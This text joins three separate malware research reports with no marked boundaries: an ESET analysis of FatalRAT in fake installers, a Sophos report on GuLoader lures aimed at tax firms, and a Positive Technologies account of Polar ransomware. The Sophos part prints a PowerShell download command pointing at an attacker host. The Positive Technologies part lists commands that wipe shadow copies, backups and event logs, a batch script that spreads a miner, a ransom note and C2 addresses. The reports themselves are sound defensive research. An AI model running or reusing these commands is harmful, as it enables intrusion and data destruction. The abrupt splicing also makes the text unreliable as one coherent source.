In most cases, four scheduled tasks are created: two for the RAT (one set to execute periodically and the other whenever any user logs into the PC) and two for the updater.


The names of the tasks are based in the Windows build number and the name of the computer, as shown in Figure 8. Figure 8.


Scheduled tasks created by the malicious installers Loaders The loader – libpng13.dll – is a very simple component that opens and executes in memory a file named Micr.jpg, located in the same directory as the DLL.


The attackers have obfuscated the loader with many calls to a function that just prints some hardcoded values.


It’s possible that this behavior was used to avoid being detected by security solutions or to complicate the analysis of the DLL.


Figure 9 shows an example of the obfuscated code on the left and the deobfuscated code on the right.


Part of the decompiled code for libpng13.dll on the left and on the right the same code deobfuscated Micr.jpg is actually shellcode that also contains an embedded DLL.


The purpose of this shellcode is to load and execute in memory the embedded DLL by calling an export function of the DLL named SignalChromeElf.


Before the execution of this export function, the shellcode reconstructs the imports table of the DLL and calls the DllEntryPoint, which simply invokes the Windows API function DisableThreadLibraryCalls as a way to increase the stealthiness of the DLL. SignalChromeElf essentially will decrypt, load, and execute an encrypted payload located in the embedded DLL.


This encrypted payload is the FatalRAT malware, and after its decryption the DLL will find the address of an export function called SVP7, which contains the entry point of the malware, and call it, passing the encrypted configuration of FatalRAT as an argument.


The function in the embedded DLL that decrypts the payload is the same as the function used in FatalRAT to decrypt its configuration.


An example of this function is shown in Figure 10.


FatalRAT FatalRAT is a remote access trojan documented in August 2021, by AT&T Alien Labs.


This malware provides a set of functionalities to perform various malicious activities on a victim’s computer.


As an example, the malware can: Capture keystrokes Change the victim’s screen resolution Terminate browser processes and steal or delete their stored data.


The targeted browsers are: Chrome Firefox QQBrowser Sogou Explorer Download and execute a file Execute shell commands This malware contains various checks to determine whether it’s running in a virtualized environment.


Depending on its configuration, these checks may be executed or not.


From our own analysis we were able to determine that the FatalRAT version used in this campaign is very similar to the one documented by AT&T in their blogpost, so we won’t go into more details.


A comparison of them is shown in Figure 11, and Figure 10 shows the decompiled code used to decrypt strings in the FatalRAT samples from this campaign, which is the same as the one described by AT&T. Figure 10.


Decompiled code of a function used by a FatalRAT sample to decrypt its configuration strings Figure 11.


BinDiff comparison between a FatalRAT sample analyzed by AT&T and the FatalRAT sample found in this campaign Previous version We found a previous version of the malicious installer that the attackers have used since at least May 2022.


Unlike the installers that we described previously, this version contains an XOR-encrypted payload, divided into three files: Micr.flv, Micr2.flv, and Micr3.flv, each file encrypted with a different, single byte XOR key.


Once decrypted, the content of the three files is concatenated, forming shellcode that contacts a C&C server to download and execute further shellcode.


The loader DLL in this case is named dr.dll – the same name that is used for the update mechanism in later versions of the installer, side-loaded by the same legitimate executable.


Given that this older version doesn’t seem to have an updater, we believe that the attackers have replaced it with the new version of the installer since August 2022.


Twitter user Jirehlov Solace reported other versions of the installers starting in May 2022, as can be seen in this thread.


Although some of those installers are the same as ones in this report, it seems that most of them are different, compiled as EXE files (not MSI installers) and using a variety of software packers.


Those samples are probably connected with Operation Dragon Breath as described by Qi An Xin in May 2022.


Conclusion The attackers have expended some effort regarding the domain names used for their websites, trying to be as similar to the official names as possible.


The fake websites are, in most cases, identical copies of the legitimate sites.


As for the trojanized installers, they install the actual application that the user was interested in, avoiding suspicion of a possible compromise on the victim’s machine.


For all of these reasons, we see how important it is to diligently check the URL that we are visiting before we download software.


Even better, type it into your browser’s address bar after checking that it is the actual vendor site.


Since the malware used is this campaign, FatalRAT, contains various commands used to manipulate data from different browsers, and the victimology is not focused on a particular type of user, anyone can be affected.


It is possible that the attackers are solely interested in the theft of information like web credentials to sell them on underground forums or to use them for another type of crimeware campaign, but for now specific attribution of this campaign to a known or new threat actor is not possible.


ESET Research offers private APT intelligence reports and data feeds.


IoCs Files SHA-1FilenameESET detection nameDescription 00FD2783BBFA313A41A1A96F708BC1A4BB9EACBDChrome-Setup.msiWin32/Agent.


AFAHMalicious MSI installer.


C9970ACED030AE08FA0EE5D9EE70A392C812FB1BWhatsApp-中文.msi (machine translation: Chinese)Win32/Agent.


AFAHMalicious MSI installer. 76249D1EF650FA95E73758DD334D7B51BD40A2E6WPS-SetuWhatsApp-中文p.msi (machine translation: Chinese)Win32/Agent.


DBE21B19C484645000F4AEE558E5546880886DC0电报-中文版.msi (machine translation: Telegram - Chinese Version)Win32/Agent.


1BE646816C8543855A96460D437CCF60ED4D31FE电报中文-64.msi (machine translation: Telegram Chinese)Win32/Agent.


B6F068F73A8F8F3F2DA1C55277E098B98F7963EC电报中文-setup.msi (machine translation: Telegram Chinese)Win32/Agent.


2A8297247184C0877E75C77826B40CD2A97A18A7windows-x64中文.exe (machine translation: Chinese)Win32/ShellcodeRunner.


BRMalicious installer (older version).


AFAHLoader DLL.


AFAHUpdater DLL.


BRLoader DLL.


Network IPProviderFirst seenDetails 107.148.35[.]6PEG TECH INC2022-10-15Server hosting malicious websites.firefoxs[.]org googlechromes[.]com youedao[.]com telegramxe[.]com telegramxe[.]net telegramsz[.]net whatcpp[.]com whatcpp[.]net whatsappt[.]org telegraem[.]org telegraxm[.]net skype-cn[.]org electrumx[.]org line-cn[.]net whateapp[.]net whatcapp[.]org 107.148.45[.]20PEG TECH INC2022-12-1912-03.telegramxe[.]com; C&C server.


107.148.45[.]32PEG TECH INC2023-01-0412-25.telegraem[.]org; C&C server.


107.148.45[.]34PEG TECH INC2023-01-0612-25.telegraxm[.]org; C&C server.


107.148.45[.]37PEG TECH INC2022-12-1012-08.telegraem[.]org; C&C server.


107.148.45[.]48PEG TECH INC2022-12-2212-16.pinyin-sougou[.]com; C&C server.


International Limited2022-06-16ghg.telegream[.]online; C&C server.


Certificates Serial number26483C52A9B6A99A4FB18F69F8E575CE Thumbprint505CF4147DD08CA6A7BF3DFAE9590AC62B039F6E Subject CNTeCert Subject ON/A Subject LN/A Subject SN/A Subject CN/A Valid from2022-12-16 11:46:19 Valid to2023-12-16 12:06:19 Serial number317984D3F2ACDAB84095C93874BD10A9 Thumbprint457FC3F0CEC55DAAE551014CF87D2294C3EADDB1 Subject CNTelegram_Inc Subject ON/A Subject LN/A Subject SN/A Subject CN/A Valid from2022-06-02 11:10:49 Valid to2023-06-02 11:30:49 MITRE ATT&CK techniques This table was built using version 12 of the MITRE ATT&CK framework.


TacticIDNameDescription Resource DevelopmentT1583.001Acquire Infrastructure:


DomainsThe attackers acquired domain names for their malicious websites and C&C servers.


T1583.003Acquire Infrastructure : Virtual Private ServerThe attackers acquired VPS servers to store their malicious websites.


T1585.003Establish Accounts: Cloud AccountsThe attackers acquired accounts in Alibaba Cloud Object Storage Service to host their malicious MSI installers.


T1608.001Stage Capabilities: Upload MalwareThe attackers uploaded their malicious MSI files to Alibaba Cloud Object Storage Service.


T1587.002Develop Capabilities: Code Signing CertificatesThe attackers used self-signed certificates to sign their malicious MSI Installers.


Initial AccessT1189Drive-by CompromiseThe attackers used Google Ads to direct their victims to their malicious websites.


Execution: Malicious FileThe attackers have relied on their victims to execute the malicious MSI installers.


Windows Command ShellThe malware updater uses cmd.exe to download files from Alibaba Cloud Object Storage Service.


APIThe loaders use API calls such as VirtualAlloc to load and execute malicious components into memory.


PersistenceT1053.005Scheduled Task/Job: Scheduled TaskThe MSI installers create scheduled tasks to achieve persistence.


T1547.001Boot or Logon Autostart Execution: Registry Run Keys / Startup FolderFatalRAT creates a registry Run key to achieve persistence.


Defense EvasionT1140Deobfuscate/Decode Files or InformationThe loaders and FatalRAT component use various encryption algorithms to hide payloads and strings.


T1027.007Obfuscated Files or Information:


Dynamic API ResolutionThe loaders use dynamic API resolution to avoid detection.


T1574.002Hijack Execution Flow: DLL Side-LoadingThe attackers have used DLL side-loading to execute their malicious payloads.


T1497.001Virtualization/Sandbox Evasion: System ChecksFatalRAT performs various checks to detect whether it’s running on a virtual machine.


T1027.009Obfuscated Files or Information:


Embedded PayloadsThe Micr.jpg file contains shellcode and an embedded DLL file that loads FatalRAT.


T1553.002Subvert Trust Controls: Code SigningThe attackers have used self-signed certificates to sign their malicious MSI files.


CollectionT1056.001Input Capture: KeyloggingFatalRAT has keylogger functionalities.


T1119Automated CollectionFatalRAT automatically collects information from a compromised machine and sends it to the C&C server. Command and ControlT1573.001Encrypted Channel:


Symmetric CryptographyFatalRAT encrypts data with a custom encryption algorithm before it is sent to the C&C server.


T1095Non-Application Layer ProtocolFatalRAT uses TCP for C&C communications.


ExfiltrationT1020Automated ExfiltrationFatalRAT automatically sends information from a compromised machine to its C&C. T1041Exfiltration Over C2 ChannelFatalRAT exfiltrates data over the same channel used for C&C. 16 Feb 2023 - 11:30AM


Financial accountant firms and CPAs are in the crosshairs this tax season, as a threat actor is targeting that industry with an attack that combines social engineering with a novel exploit against Windows computers to deliver malware called GuLoader.

Tax firms targeted by precision malware attacks


At least two organizations in that industry, both Sophos customers, reported the unusual attack to us in late February and early March, as tax preparers are entering the busiest part of the season in the United States.


(The tax filing deadline this year is April 17, 2023.)


The attack begins with an email that purports to solicit business from the tax preparation firm.


The initial message to the target is benign, with a subject line of Prospective Client Enquiries containing nothing more than an introduction and a request for information about “onboarding new clients.”


The email sender goes on to claim that “The CPA I used last year is retired, so here I am on the lookout for a new firm to work with.”


Responding to the hook with a bigger hook If the target responds to this initial solicitation, the sender then sends a follow-up email with a link to a password-protected Zip file hosted on a cloud storage service.


The Zip archive has a filename that includes the last name of the fictitious person whose purportedly sent the initial email message.


In each of the messages we saw targeting different accounting firms, the attacker used different names, such as Rodney Williamson or Sarah Knapp.


The fake sender used the same password of Fresh@123 for the Zip archive in the samples we obtained.


Because the attacker only sends the link to a CPA who responds to the initial email message, very few of them were caught in spam traps.


The samples we obtained had been submitted to us only after the targets realized they were being attacked.


The sender was very conversational and personable in the messages, helpfully offering that the Zip archive contains “in addition to my tax transcripts for the past two years…a copy of my driver’s license.”


The attacker also asks the target “Would you be available for a quick telephone call on Friday?”


Whoever crafted the messages has a good grasp of English-language euphemisms and tax-filing vernacular.


These messages, with a few very minor spelling or grammar errors, were very hard to discern from ones that might be sent by a legitimate, prospective client of a tax firm.


Infection process based on deception


If the first stage of the process involves convincing the accounting professional to download and open the linked Zip archive, the next phase is completely out of the tax preparer’s control.


The Zip archive contains two files: A Windows Shortcut (a .LNK file), and a benign decoy attachment.


In the examples we received, one Zip contained a benign file named screenshot1242.jpeg and another contained a file named privatecopy.pdf.


Both of these files were the same three minute long MP3 audio recording – a file that sounds like someone playing an Oud, the stringed instrument similar to a lute used widely in the middle east.


When someone tries to double-click these decoy files, Windows (or the application mapped to the relevant filetype) throws an error because the file isn’t the type of file it appears to be.


Adobe Reader or a photo viewing program can’t open the file.


The target would then, naturally, double click the other file in the Zip archive — a Windows Shortcut (.LNK file) labeled with a PDF file suffix and with an icon that makes it appear to be a PDF document.


Unusually, the Windows shortcut has been manipulated in such a way that Windows seems to think that it is a VBScript Script File in the shortcut’s properties sheet.


The action taken by the shortcut is rendered not visible in the Properties sheet, either, in what appears to be a novel, malicious use of an exploit first publicly disclosed a year ago in a blog post by researcher @x86matthew, who works for the UK-based offensive security research company MDSec.


The attackers have crafted the shortcut, by prepending a large number of space characters to the Target field in the properties, so that the Target field appears blank.


However, when viewed using a hex editor, the text content of the shortcut is rendered visible.


It contains a PowerShell command that looks like the following: Invoke-WebRequest http://0x[two hex bytes].[eight digits]/fresh/fordl.vbs -OutFile


C:\Windows\Tasks\[eight letters].vbs The shortcut command pulls down a Visual Basic script, drops it into the C:\Windows\Tasks folder, and executes it.


A second command appended to the first drops an actual PDF document (of someone’s IRS form W-2, 1099, or 1040) into the same location and opens it as well, as a decoy.


The crafting of the URL was somewhat unique.


The attacker seems to have made a mashup of two different formats of so-called “dotless” IP address (an unusual combo of the hex and “dword” types of dotless IPs) into a combination that isn’t human-readable, but that networked applications like PowerShell can understand and interpret as valid IPv4 addresses.


The script shown above uses the address 0xC2.11808979 in the URL, which translates to the IPv4 address 194.180.48.211.


We also discovered scripts that pointed to malicious files hosted on the addresses 0x6D.13561923 (109.206.240.67) and 0x05.526436 (5.8.8.100).


All of the servers hosting the malware hosted them inside of open directories.


We found 29 different varieties of the VBS and 90 other encrypted and unencrypted payloads hosted in these locations.


There may be others.


A heavily obfuscated VBS


The initial infector is a Visual Basic script, heavily obfuscated, and very large at more than 200KB in size.


A block of base64-encoded, encrypted data comprises almost 150KB of that script, along with code that decodes and decrypts the block of base64.


The VBS contains two large variables.


In the script we analyzed, these were named Ir8 and O7, respectively, but although the variable names were slightly modified in each variant of the script we examined, the overall flow was the same.


These work in tandem to insert data into the Windows Registry and execute PowerShell commands.


When decoded, the content of the Ir8 variable (a segment of which is shown below) turns out to be just another encoded PowerShell script, which the VBS decodes and then executes.


The PowerShell script decoded from the Ir8 variable uses Reflection.


Assembly to load the final payload into memory from a Registry value without writing it to disk.


The script (shown in part, below) converts several small strings to bytes, concatenates the output, performs a BXOR to decode the bytes, and then converts those bytes to ASCII text, before executing them.


And the content loaded out of the Registry?


That’s what comes from the O7 variable (shown in part, below, because it is too large to fit on one screenshot).


The concatenated segments of base64 data from O7 get inserted into the Registry, for the Ir8 script to decode.


Post-infection, the machine will have an instance of an otherwise benign Windows binary running.


On one machine, we found that the malware injected itself, using process hollowing, into ielowutil.exe, used by the now defunct Internet Explorer browser for tuning the microphone settings in the browser.


But the malware doesn’t exclusively inject its code into this exe; Other now-defunct Internet Explorer components were also observed being abused by the malware, including ieinstal.exe (the tool that installs Add-Ons into Internet Explorer).


The malware makes several other changes to Windows settings during the infection process.


It creates a User-level Environment Variable (in our test case, this was called SaltoQ), which points at the full path to the PowerShell executable on the system.


It created a Run key in the Registry named Overproduce that invokes the SaltoQ variable to run a PowerShell command at every reboot.


And that Run key references a different Registry key, in HKEY_CURRENT_USER\Cloglike that contains a portion of the same Visual Basic Script code that was in the original .vbs payload the malware downloads during the infection process.


Once infected, the ielowutil.exe binary constantly attempts to contact its command–and-control server, on 64.44.101.171:9191.


During our attempts to infect machines with the malware, that C2 server failed to respond.


However, we did infect a test machine with other samples from this attack, and some of those were successful at connecting to C2 servers at 84.21.172.49:1040 (ironic port number!)


and 185.225.74.91:2080.


Both of those C2s were live as of publication of this blog.


We also detected the infected computer repeatedly attempting to resolve the address of the domain newmansubzero.com, which is the 64.44.


address above.


Guidance and detection Tax preparers and accountants are extremely busy at the best of times, but during US tax season, which culminates in mid-April, they are the busiest they will be all year.


Harried CPAs from firms of all sizes must be wary that they are targets for criminals who would love nothing more than the sensitive financial data they receive in abundance at this time of year.


The attack method in this case takes advantage of the frenetic pace of tax season and uses a social engineering tactic to smooth the way for the malware to be delivered via email.


As such, it’s very prudent to be cautious when you’re approached by potential new clients.


Ask them if they will speak to you on the phone directly, who referred them to you, and if they’d be willing to come in for an in-person evaluation.


Most of all, be very wary of people who send you a Dropbox link to a password-protected Zip file at any time of year.


When the Zip file is password protected, it can make the contents un-scannable by endpoint security tools.


If they provide a password, unzip the file and then scan the contents with an endpoint security tool before opening them.


The PDF icon used for the Shortcut in the attack is also distinctive and unique.


The icon, which doesn’t resemble the icon used by any known PDF reader application, looks like an icon for a plain text document wrapped in a red bar with the white letters PDF inside.


It’s also notable that the icon does have the little arrow in the bottom left corner that indicates it is a Shortcut, and not a document.


It’s possible a busy accountant may not notice that detail.


When in doubt, you can also right-click (not left-click) the icon, one click only, and choose Properties.


Even though the Properties sheet won’t display the Powershell command, if the file is a Shortcut it will have a Shortcut tab (normal document files won’t have those) and it accurately shows that the “Target type” is a Visual Basic Script (VBScript Script File).


Hovering the mouse pointer over the Shortcut icon causes the malicious shortcut to display the information pushed into the Comment field, which makes it appear that the document is in fact a PDF when it is not.


If you still suspect things are not as they should be, ask the potential customer to call you on the phone before you open the files.


The attackers, in this case, seemed to limit their communication to email.


Sophos products detect various aspects of the attack quite comprehensively: Endpoint will detect the shortcut file as Troj/LnkObf-T or Mal/DownLnk-D and the VBS payload of the shortcut as VBS/Inject-IPG.


Some payload samples may be detected as Behaviorally, it detects the injection techniques used by the attackers as Evade_34a or Evade_34b.


GuLoader code in memory also will be detected as Mem/Guload-A. Our network security products will block communication to the IP addresses used to host the payloads and the C2 addresses.


Indicators of compromise relating to this attacker and their tooling are hosted on the Sophos X-Ops Github.


Acknowledgments Sophos X-Ops wishes to acknowledge the contributions of Colin Cowie and Benjamin Sollman of the MDR intelligence team, Sivagnanam Gn, Anand Ajjan, and Anisha Kumar of SophosLabs, and Sales Engineer Matthew Haltom to our understanding of this threat and its impacts.


In late April 2020, a client invited the CSIRT incident response team at the Positive Technologies Expert Security Center (PT ESC) to investigate a network compromise that resulted in encryption of files on servers and employee workstations.

Investigation with a twist an accidental APT attack and averted data destruction


We initially assumed that this was yet another attack on corporate networks with a common variety of ransomware.


However, what we found was different: this intrusion was the work of a well-known Asian APT group implicated in cyberespionage against government targets.


The initial successful compromise had taken place two years prior.


In this article, we will share the results of our investigation of this targeted attack, which started with the compromise of a foreign office.


Ultimately, we succeeded in bringing the infrastructure back to a secure condition and reversing the damage that had been done.


Sequence of events Mass encryption of files on the client's infrastructure and a ransom demand formed the starting point of the investigation.


A large number of damaged files is itself a very visible attack indicator that enabled detecting the intrusion.


Retrospective analysis showed that the client's infrastructure had been compromised not three or four days before (or even a few hours before, as often happens in mass attacks), but in early 2018.


What's more, the initial infection was of a foreign office of the client.


Then a subsequent breach of the head office back home.


We believe that the initial entry point to the foreign office's network was a vulnerable server on the network perimeter.


Exploitation in February 2018 enabled the attackers to gain initial access and then persistence, with the help of the ChinaChopper and TwoFace web shells.


The attackers used NBTScan for network reconnaissance and PsExec for lateral movement.


They obtained credentials for pivoting with Mimikatz.


In some cases, we were able to detect memory dumps of the lsass process that had been archived and uploaded.


Because use of Mimikatz was likely blocked by endpoint security software, the attackers were forced to run bruteforcing offline.


Another method was to scan hosts for so-called Eternal* SMB vulnerabilities with SMBTouch and then, where possible, run the EternalBlue exploit and infect the computer.


On the hosts of presumably greatest interest, the SysUpdate and HyperBro backdoors were installed for reliable persistence and access.


One unexpected result of the compromise was cryptocurrency mining at both the foreign office and headquarters.


Such activity remained unnoticed for one and a half years.


During this time the attackers only maintained their access abilities by periodically obtaining new accounts or building tunnel chains.


Our belief is that by early 2020, the attackers had lost their access (for reasons unknown to us).


We can see use of web shells on the foreign office's servers on February 9, 2020.


Subsequent actions were very similar to what had happened two years earlier.


By using the tools already described, the attackers obtained the credentials of a domain administration at headquarters.


This time, they deleted OS logs and stopped Shadow Copy services, complicating subsequent incident analysis.


For the finale, on April 29, 2020, the account of the compromised domain admin was used to push Polar ransomware to computers and run it, encrypting user files and demanding a ransom.


While our specialists were assisting the client in May 2020, the attackers made yet another attempt to regain control of infrastructure with the help of web shells that were still in place on the network of the headquarters and office, but this time to no success.


Here we have provided a timeline to better show the sequence of events.


CSIRT's objectives included recovering the client's data, which included key information belonging to different departments.


We performed analysis of the encryption malware and were able to recover the lost files.


Polar ransomware


The method used to run the ransomware is classic and, indeed, characteristic of certain Asian groups.


Three files are sent to the victim's computer:


GDFInstall.exe (MD5: 13435101240f78367123ef01a938c560) is a legitimate computer game component signed by Ubisoft.


GameuxInstallHelper.dll (MD5: 1fd8402275d42e7389f0d28b9537db0f) is a .NET DLL library (compiled on April 29, 2020) imported when GDFInstall.exe is run.


This component is not actually legitimate, however: attacker code is executed after the GameExplorerInstallW symbol is exported.


This frequently used technique of loading malicious code in the context of a legitimate application is known as DLL hijacking.


The file c:\programdata\Sysurl.


Hex is read (after being copied from c:\windows\system32\Sysurl.


Hex, if absent) and then simple XOR decrypted with key ABCSCDFRWFFSDJJHGYUOIj.


The result is decoded with Base64, yielding a PE file that is loaded and run in memory with .NET.


The payload and intermediate library are deleted before completion.


Deletion occurs in the standard (insecure) way, which enables recovering the data if disk access is stopped in time and the information has not been overwritten.


Sysurl.


Hex is an encrypted copy of the Polar ransomware.


This payload call sequence (in which a legitimate application loads a malicious library, which in turn decrypts a third component and passes control to it) is very commonly used to run the PlugX backdoor, which is widely seen among such Asian APT groups as APT10, APT41, TA459, and Bronze Union.


Let's consider the decrypted and decoded version of the ransomware (MD5: 841980b4ae02a4e6520ab834deee241b) in greater detail.


Based on how GameuxInstallHelper.dll is launched, we quickly can guess that this file, too, is an executable file compiled with .NET.


The compilation date is April 9, 2020.


The code entry point is the Actions method of the Encode class in the Polar name space (which is the name we have used for the malware family).


The malware deletes system event logs and shadow copies by performing the following commands: dism /online /enable-feature /featurename:NetFx3 vssadmin.exe Delete Shadows /All


/Quiet bcdedit /set {default} recoveryenabled no wmic shadowcopy delete wbadmin delete backup wbadmin delete systemstatebackup -keepversions:0 bcdedit /set {default} bootstatuspolicy ignoreallfailures bcdedit /set {default} recoveryenabled no wevtutil.exe clear-log Application wevtutil.exe clear-log Security wevtutil.exe clear-log System wbadmin delete catalog -quiet wbadmin delete catalog -quiet wbadmin delete systemstatebackup


It then looks for and stops the following processes: agntsvc.exe agntsvc.exe agntsvc.exe agntsvc.exe dbeng50.exe dbsnmp.exe encsvc.exe excel.exe firefoxconfig.exe infopath.exe isqlplussvc.exe msaccess.exe msftesql.exe mspub.exe mydesktopqos.exe mydesktopservice.exe mysqld-nt.exe mysqld-opt.exe mysqld.exe notepad++.exe notepad.exe ocautoupds.exe ocomm.exe ocssd.exe onenote.exe oracle.exe outlook.exe powerpnt.exe sqbcoreservice.exe sqlagent.exe sqlbrowser.exe sqlservr.exe sqlwriter.exe steam.exe synctime.exe tbirdconfig.exe thebat.exe thebat64.exe thunderbird.exe visio.exe winword.exe wordpad.exe xfssvccon.exe Then the malware gets a list of connected disks and starts recursive traversal of directories, skipping a few of them: C:\Windows C:\Program Files C:\Program Files (x86) C:\ProgramData C:\Python $SysReset $Recycle.


Bin $RECYCLE.BIN It cares only about files with the following extensions: .3dm .3ds .3g2 .3gp .7z .accdb .ai .aif


.asf .asp .aspx .avi .bak .bin .bmp


.c .cbr .cer .cfm .class .cpp .crdownload .cs .csr .css .csv .cue .dat .db


.dbf .dds


.deb


.dmg .dmp .doc .docx .dtd .dwg


.dxf .eps .fla .flv


.ged .gif .gz


.h .html .ics .iff .indd .ini .iso .java .jpg


.js


.jsp .key .keychain .log .lua


.m3u .m4a .m4v .max .mdb


.mdf


.mid .mov .mp3 .mp4


.mpa


.mpg .msg .msi .obj .odt .pages .part .pct .pdb


.pkg .pl .png


.pps .ppt .pptx .ps .psd .py .rar .rm


.rpm .rss .rtf


.sdf .sh .sitx .sln .sql .srt .svg .swf .swift .tar .tar.gz .tax2014 .tax2015 .tex .tga .thm .tif .tiff .tmp .toast .torrent .txt .vb .vcd .vcf .vcxproj .vob .wav .wma


.wmv


.wpd .wps .xcodeproj .xhtml .xlr .xls .xlsx .xml


.yuv .zip .zipx Before starting encryption, the malware creates what we will call a base encryption key consisting of eight randomly chosen characters from the following alphabet: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/ Two approaches to encryption are used, depending on the file size.


Each approach involves a different encryption key.


The base encryption key is used in both approaches, however.


First we will look at the approach for encryption of files with size less than 64,052,000 bytes (approximately 61 MB).


The intermediate password is the SHA-256 hash sum of the base encryption key.


It is identical for all files and is used with a hard-coded salt and 1,000 iterations to generate the encryption key and initialization vector.


Each key is encrypted with AES-CBC.


The .locked extension is added to encrypted files.


Larger files are encrypted in a different way.


In this case, the 16-byte encryption key is formed by taking the first 8 bytes from the base encryption key and the remaining 8 bytes from an additional hard-coded array.


This is followed by a custom implementation of AES-ECB.


Blocks of 16 bytes are encrypted, with the next 12,800 bytes skipped.


The result is that only small parts of the file—not the entire file—are encrypted.


This method was likely to chosen to speed up the encryption process.


Encrypted files have the .cryptd extension.


Note that the result is creation of a new file (where the encrypted stream is written).


The original file is insecurely deleted.


Therefore, the original files can also be recovered from unallocated disk space if they have not yet been overwritten with fresh information.


In each directory containing encrypted files, a file named readme_contact_alex.dali@iran.ir.htm is created with the following contents: Your companies cyber defense systems have been weighed, measured and have been found wanting!!!


The breach is a result of grave neglect of security protocols All of your computers have been corrupted with Polar malware that has encrypted your files.


We ensure that the only way to retrieve your data swiftly and securely is with our software.


Restoration of your data requires a private key which only we possess Don't waste your time and money purchasing third party software, without the private key they are useless.


It is critical that you don't restart or shutdown your computer.


This may lead to irreversible damage to your data and you may not be able to turn your computer back on.


To confirm that our software works email to us 2 files from random computers you will get them decrypted.


readme_contact_alex.dali@iran.ir.htm contain encrypted session keys we need in order to be able to decrypt your files.


The softwares price will include a guarantee that your company will never be inconvenienced by us.


You will also receive a consultation on how to improve your companies cyber security If you want to purchase our software to restore your data contact us at: Pt34Jarmys@protonmail.com alex.dali@iran.ir We can only show you the door.


You're the one who has to walk through it.


Your personal installation key:*REDACTED* The text of the ransom demand resembles that used by MegaCortex ransomware.


The ransom demand contains a modified version of the base encryption key.


This version is derived by encrypting the base encryption key with RSA (with a hard-coded 1024-byte public key) and encoding it in Base64.


After file encryption is completed, the malware writes an image (contained in executable file resources) to disk at the path c:\programdata\Rs.bmp and sets it as the desktop background.


The malware subsequently repeats the same procedure for deleting system event logs and shadow copies that it performed at the start.


Then it sends an HTTP POST request with the name of the victim's computer to a server at hxxp://www.therockbrazil.com.br/assinaturas/logs.php.


How we decrypted the files Readers following the chain of encryption steps have likely noticed that the security of this whole encryption system depends on what we have called the base encryption key.


Its value is encrypted with RSA-1024 and placed in the ransom demand.


Currently, there are no methods that are both cheap and fast for factoring a key of such size.


So we tried another tactic.


Remember that the base key is generated by taking eight random characters from the alphabet quoted earlier.


Here is how the implementation works: The Random function is called once, without any arguments.


This call returns a random number, the seed for pseudorandom generation of which is taken from the value of the Environment.


TickCount variable.


This variable is 4 bytes and stores the number of milliseconds since the operating system started.


So to decode the files, all we need to know is the uptime (how long the computer has been turned on) as of when the ransomware ran.


But how simple is it to calculate?


Most of the affected computers had not only been disconnected from the corporate network, but turned off for analysis of the hard drive contents.


Due to this, the uptime of the computers could not be known.


The operating system logs contain timestamps for shutdown and power on.


But in this case, the ransomware destroys these logs twice.


So we were unable to find any clues pointing at possible values of uptime on the affected computers themselves.


Fortunately, however, SCCM was used on the client infrastructure, with client-side agents running on all the encrypted computers.


The information we needed was stored centrally and had not been tampered with: all we needed was some trial-and-error to choose the right values.


Now that we had relatively precise uptime values, we needed to determine when the ransomware had run.


Remember that at the end, the malware deletes the intermediate DLL library and encrypted ransomware, but not the legitimate executable file whose process is used for performing the malicious actions.


In other words, the time at which this file appeared on the system should be the approximate time when the ransomware ran, to within several seconds.


We succeeded in bruteforcing the exact value of the base encryption key in about a minute on an ordinary workstation (on the order of a few tens of thousands of iterations).


We could then decrypt the remaining files.


In a few cases, we had a tougher time bruteforcing the key at first.


The reason was that the timezones had been set incorrectly.


With this realization, we were able to conquer this issue as well.


Attribution We mentioned the SysUpdate and HyperBro backdoors from the attackers' toolkit.


These are somewhat esoteric Remote Access Trojans used by the APT27 group (also known as Bronze Union, LuckyMouse, Emissary Panda, or Iron Tiger).


The group likely has Asian roots, with activity since at least 2010.


The group focuses its attention on government targets in the defense and energy industries, as well as aerospace and manufacturing.


Most commonly, the original attack vector is a compromise of the victim's web servers by exploiting vulnerabilities, bruteforcing credentials, or taking advantage of web server misconfigurations.


Despite the similarities in tactics, techniques, and procedures (TTPs) and use of a telltale toolkit, some of the team's researchers are skeptical about attribution of the attacks to APT27.


Choice of target Media companies had never been of interest for APT27.


This is consistent with the findings of our incident investigation: the attackers did not try to access private information on the target infrastructure, instead only running software for direct financial gain.


Cryptocurrency mining and ransomware


This is atypical and, moreover, ill-suited software that can quickly attract attention and wreck any plans for long-term cyberspying.


The URL address to which the ransomware "phones home" upon completing its work does not have anything in common with APT27 network infrastructure.


Of course, some groups (such as Lazarus and Winnti) combine cyberspying with direct financial motivations, so perhaps APT27 is broadening its previously limited range of interests.


Or, as an alternative, the group has reached an agreement with other attackers for use of their software in return for a part of the proceeds.


In favor of attribution of Polar to APT27, we can note the sequence of payload, execution, and naming: the encrypted SysUpdate backdoor is often named sys.bin.url and the Polar ransomware was named Sysurl.


Hex, in a rather similar way.


However, this could also be a false flag.


3. Automation in 2018 and 2020 Here is the script used to automatically install a cryptocurrency miner on a list of computers in 2018: @echo off for /f


%%i in (c:\programdata\list.txt) do ( net use \\%%i\c$ "*" /u:*\administrator copy c:\programdata\vmnat.exe \\%%i\c$\windows\system32\vmnat.exe SCHTASKS /Create /S


i /u


*\administrator /p "*" /tn


* /tr "cmd.exe /c start c:\windows\system32\vmnat.exe" /sc


onstart /RU SYSTEM schtasks /run


*\administrator /p "*" /tn * net use \\%%i\c$ /del net use * /del /Y ) del vmnat.exe del list.txt del work.bat


And this is the script used to automatically delete the ransomware from a list of computers in 2020: @echo off for /f


%%i in (c:\programdata\list.txt) do ( net use \\%%i\c$ "*" /u:*\* if not errorlevel 1 ( del \\%%i\c$\programdata\GameuxInstallHelper.dll del \\%%i\c$\programdata\GDFInstall.exe del \\%%i\c$\programdata\Sysurl.


Hex net use \\%%i\c$ /del )ELSE ( echo not access %%


i >>


c:\programdata\no_access.txt ) ) (We replaced sensitive information with '*')


The scripts show certain similarities in structure and have the same loop of file lines at the same path.


On the other hand, the indentation, script tasks, and file naming are different.


Some of the commands are too general to tell, since they could have been found in online search results and reused.


Bodies of the SysUpdate and HyperBro backdoors We were not able in some cases to confirm the presence of a given backdoor based on the body of the Trojan itself.


We identified the HyperBro backdoor, which had been used in 2018, based on the distinctive file name combined with other confirmed tools.


We confirmed the SysUpdate backdoor, used in 2020, by looking at the C2 address and backdoor body in the process dump memory that had been uploaded to VirusTotal during investigation from an organization not linked to our client.


Taken together, these similarities certainly point to APT27 as a culprit, but are not entirely conclusive.


Therefore we leave it to the reader to choose whether to concur regarding involvement by APT27. Conclusion In this article, we have described an APT27 attack on a media company.


The cybercriminals obtained access to the company's headquarters by compromising an office in a foreign country.


They maintained control of the infrastructure for two years.


They used both publicly available and custom-developed tools that had been seen previously.


